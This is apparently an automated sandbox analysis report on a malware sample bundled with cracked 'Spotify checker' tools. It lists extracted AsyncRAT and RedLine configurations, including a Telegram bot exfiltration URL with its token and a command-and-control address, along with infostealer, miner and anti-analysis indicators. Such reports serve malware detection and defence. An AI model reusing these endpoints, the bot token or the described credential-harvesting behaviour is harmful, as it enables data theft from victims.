Resubmissions
26-08-2022 21:01
220826-zvdwmsaee4 1026-08-2022 20:16
220826-y14tksaba6 1026-08-2022 19:42
220826-yesjesggfp 10Analysis
-
max time kernel
2699s -
max time network
2699s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
26-08-2022 21:01
Static task
static1
Behavioral task
behavioral1
Sample
43-accounts.html
Resource
win10v2004-20220812-en
General
-
Target
43-accounts.html
-
Size
7KB
-
MD5
5b0e46640418e36007329466b7329746
-
SHA1
b3b3af18d9018b03f4ebd35a5d30c403cb3b2453
-
SHA256
4658646ddd7dd8456933a3f19b7b188710f616e6ff594419be9a2f4d1363799c
-
SHA512
c3be193e69cb4417329b7b87ff43a50d933eb314a49962630e269bca2d8fbb58ca5da647f7c634068de9f6b090e068969a87aa2566f6920e09c4b999c0e6acd4
-
SSDEEP
192:/0QTduFszn/oy6EJbQ3frabR+SHEeRCabaRiJ:1TrzQGgrabAUR/g6
Malware Config
Extracted
C:\Program Files\WinRAR\Rar.txt
Extracted
C:\Program Files\WinRAR\WhatsNew.txt
https
http
http://weirdsgn.com
http://icondesignlab.com
https://rarlab.com/themes/WinRAR_Classic_48x36.theme.rar
Extracted
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\appsremote\SpotifyCheckerUltimate\temp\engine\html\toolbox\index.html
"[email protected]".</span>
"[email protected]"</span>
[email protected]:mypass1
code:"[email protected]"
code:"[email protected]",description:tr("Search
code:"[email protected]",description:tr("Search
http://anti-captcha.com/
http://rucaptcha.com/
http://2captcha.com/
http://rucaptcha.com
http://deathbycaptcha.com/
httpauth">
http
http")}]}}
httpclientdownload">
https://www.google.com/search?q=кoTы
https://www.google.com/search?q=%D0%BA%D0%BE%D1%82%D1%8B</div>
httpclientget">
httpclientpost">
httpclienturl">
httpclientcontent">
httpclientstatus">
httpclientgetheader">
httpclientsetheader">
httpclientgetcookiesforurl">
httpclientsavecookies">
httponly
httpclientrestorecookies">
httpclientfailonerror">
httpclientiserror">
httpclientgeterrorstring">
httpclientxpath">
https://chrome.google.com/webstore/category/extensions
https://chrome-extension-downloader.com
http_client_set_proxy(hash["server"]
http_client_download(<%=
http_client_get2(<%=
http_client_get_no_redirect2(<%=
http_client_post(<%=
http_client_post_no_redirect(<%=
http_client_url
http_client_encoded_content(<%=
http_client_status
http_client_header(<%=
http_client_set_header(<%=
http_client_clear_header
http_client_get_cookies(<%=
http_client_save_cookies
http_client_restore_cookies(<%=
http_client_set_fail_on_error(<%=
http_client_was_error
http_client_error_string
http_client_xpath_xml(<%=
http_client_xpath_xml_list(<%=
http_client_xpath_text(<%=
http_client_xpath_text_list(<%=
http_client_xpath_count(<%=
http_client_xpath_exist(<%=
http_client_post(BAS_SolveRecaptcha_Serverurl
http_client_content().split("|");<%=
http_client_restore_cookies(JSON.stringify({cookies:JSON.parse(_result())}
http_auth_result(<%=
httpclientproxy
httpclientreset
httpclientdownload
httpclientget
httpclientpost
httpclienturl
httpclientcontent
httpclientstatus
httpclientgetheader
httpclientsetheader
httpclientclearheader
httpclientgetcookiesforurl
httpclientsavecookies
httpclientrestorecookies
httpclientfailonerror
httpclientiserror
httpclientgeterrorstring
httpclientxpathxml
httpclientxpathxmllist
httpclientxpathtext
httpclientxpathtextlist
httpclientxpathcount
httpclientxpathexists
httpauth
Extracted
asyncrat
Default
127.0.0.1:6606
127.0.0.1:7707
127.0.0.1:8808
https://api.telegram.org/bot5120983006:AAFVJFSMjc9YTu4nu3UiNqufq2OWUT3X-EE/sendMessage?chat_id=1119282704
AsyncMutex_6SI8OkPnk
-
delay
3
-
install
false
-
install_folder
%AppData%
Extracted
redline
5224260595_99
194.87.218.209:3431
-
auth_value
9959155d085aba3df06a27374d82559f
Signatures
-
Modifies system executable filetype association 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 2 IoCs
resource yara_rule behavioral1/memory/2000-293-0x0000000000BAE000-0x0000000000BC9000-memory.dmp family_redline behavioral1/memory/3136-295-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
StormKitty
StormKitty is an open source info stealer written in C#.
-
StormKitty payload 1 IoCs
resource yara_rule behavioral1/memory/1724-268-0x0000000000600000-0x0000000000630000-memory.dmp family_stormkitty -
Async RAT payload 1 IoCs
resource yara_rule behavioral1/memory/1724-268-0x0000000000600000-0x0000000000630000-memory.dmp asyncrat -
XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/232-254-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/232-255-0x000000014036EAC4-mapping.dmp xmrig behavioral1/memory/232-256-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/232-257-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/232-260-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/232-261-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/2008-344-0x000000014036EAC4-mapping.dmp xmrig behavioral1/memory/2008-345-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/2008-346-0x0000000140000000-0x0000000140809000-memory.dmp xmrig -
Contacts a large (519) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Downloads MZ/PE file
-
Executes dropped EXE 49 IoCs
pid Process 3220 winrar-x64-611.exe 2472 uninstall.exe 3672 WinRAR.exe 3396 WinRAR.exe 5112 Combo Editor by xRisky.exe 4348 Google Chrome.exe 3288 Chrome Update Services.exe 1120 Google Chrome Update.exe 2608 Combo Editor by xRisky.exe 1108 Combo Editor by xRisky.exe 924 SpotifyHarvester - Cracked by Trauma.exe 4016 SpotifyHarvester - Cracked by Trauma.exe 3660 SpotifyHarvester - Cracked by Trauma.exe 3196 SpotifyHarvester - Cracked by Trauma.exe 4524 WinRAR.exe 4800 updater.exe 3096 update.exe 232 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 2256 FastExecuteScript.exe 2000 SpotifyCheckerUltimate.exe 2212 FastExecuteScript.exe 2776 SpotifyCheckerUltimate.exe 4088 FastExecuteScript.exe 804 SpotifyHarvester - Cracked by Trauma.exe 3824 ChromeRecovery.exe 2868 WinRAR.exe 1724 Sylas Spotify Checker.exe 4232 Sylas Spotify Checker.exe 696 WinRAR.exe 1100 software_reporter_tool.exe 3284 software_reporter_tool.exe 4728 software_reporter_tool.exe 3876 software_reporter_tool.exe 2000 Spotify Checker 2022.exe 4936 Spotify Checker 2022.exe 812 Spotify Checker 2022.exe 3876 updater.exe 3640 WinRAR.exe 3516 Patcher_for_Cracked.to.exe 1720 JESTERify.exe 1656 JESTERify.exe 448 WinRAR.exe 4692 Spotify Checker by xRisky_protected.exe 6500 Spotify Checker by xRisky_protected.exe 1248 Spotify Checker by xRisky_protected.exe 1972 Spotify Checker by xRisky_protected.exe 6764 WinRAR.exe 6292 Proxies Scraper - Checker by xRisky v1.0.exe -
Registers COM server for autorun 1 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ = "C:\\Program Files\\WinRAR\\rarext.dll" uninstall.exe -
Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation FastExecuteScript.exe Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation winrar-x64-611.exe Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation Combo Editor by xRisky.exe Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation Google Chrome Update.exe Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation Chrome Update Services.exe -
Loads dropped DLL 64 IoCs
pid Process 2180 Process not Found 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops desktop.ini file(s) 15 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\98f1636d5ae69797861845d9864c4b56\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini Sylas Spotify Checker.exe File opened for modification C:\Users\Admin\AppData\Local\98f1636d5ae69797861845d9864c4b56\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\98f1636d5ae69797861845d9864c4b56\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\98f1636d5ae69797861845d9864c4b56\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\98f1636d5ae69797861845d9864c4b56\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini Sylas Spotify Checker.exe File opened for modification C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\98f1636d5ae69797861845d9864c4b56\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini Sylas Spotify Checker.exe File opened for modification C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\1abd4b8b89999e8f370cfb8d69fa59fe\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini Sylas Spotify Checker.exe File created C:\Users\Admin\AppData\Local\98f1636d5ae69797861845d9864c4b56\Admin@ESAXYXWD_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini Sylas Spotify Checker.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2359 icanhazip.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
pid Process 2256 FastExecuteScript.exe 2212 FastExecuteScript.exe 2256 FastExecuteScript.exe 2212 FastExecuteScript.exe 2212 FastExecuteScript.exe 2212 FastExecuteScript.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 2212 FastExecuteScript.exe 2212 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4800 set thread context of 232 4800 updater.exe 259 PID 2000 set thread context of 3136 2000 Spotify Checker 2022.exe 383 PID 3876 set thread context of 2008 3876 updater.exe 452 -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\WinRAR\Uninstall.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinRAR.chm winrar-x64-611.exe File created C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2256_174880505\ChromeRecovery.exe elevation_service.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\Confused\SPOTIFY CHECKER.pdb chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\protobuf-net.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\DiscordRPC.pdb chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.Beans.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.Core.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\protobuf-net.Core.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\protobuf-net.xml chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.Corba.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\SPOTIFY CHECKER.pdb chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Proxies Scraper - Checker by xRisky v1.0\MetroSuite 2.0.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.XML.Bind.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\System.Runtime.CompilerServices.Unsafe.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\System.ServiceModel.Primitives.pdb chrome.exe File created C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2256_174880505\ChromeRecovery.exe elevation_service.exe File created C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2256_174880505\manifest.json elevation_service.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\DiscordRPC.dll chrome.exe File opened for modification C:\Program Files\WinRAR\WhatsNew.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExt.dll winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.Cldrdata.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.XML.WebServices.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.Runtime.JNI.dll chrome.exe File opened for modification C:\Program Files\WinRAR\License.txt winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinRAR.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Zip64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExt.dll winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExtPackage.msix winrar-x64-611.exe File created C:\Program Files\WinRAR\WinCon64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Proxies Scraper - Checker by xRisky v1.0\xNet.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\System.ServiceModel.Primitives.dll chrome.exe File created C:\Program Files\WinRAR\Rar.exe winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\Figgle.xml chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.Misc.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\Sylas Spotify Checker.exe chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Spotify Harvester\combo.txt chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\config.json chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\ConsoleApp1.exe.config chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.Remoting.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\lib.dll chrome.exe File created C:\Program Files\WinRAR\Rar.txt winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Rar.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\Figgle.dll chrome.exe File opened for modification C:\Program Files\WinRAR\ReadMe.txt winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarFiles.lst winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Default.SFX winrar-x64-611.exe File created C:\Program Files\WinRAR\Zip.SFX winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Spotify Harvester\key.txt chrome.exe File opened for modification C:\Program Files\WinRAR\RarExt32.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\WinCon.SFX winrar-x64-611.exe File created C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2256_174880505\_metadata\verified_contents.json elevation_service.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\System.Collections.Immutable.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\System.Memory.dll chrome.exe File created C:\Program Files\WinRAR\RarExt32.dll winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2256_174880505\manifest.json elevation_service.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\System.Runtime.CompilerServices.Unsafe.xml chrome.exe File opened for modification C:\Program Files\WinRAR winrar-x64-611.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\Colorful.Console.dll chrome.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Sylas Spotify Checker V2.0 [Crax.Pro - Crax.Tube]\Sylas Spotify Checker V2.0\IKVM.OpenJDK.Security.dll chrome.exe File opened for modification C:\Program Files\WinRAR\Uninstall.lst winrar-x64-611.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 4232 2000 WerFault.exe 378 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Sylas Spotify Checker.exe Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 Sylas Spotify Checker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Sylas Spotify Checker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 Sylas Spotify Checker.exe -
Enumerates system info in registry 2 TTPs 18 IoCs
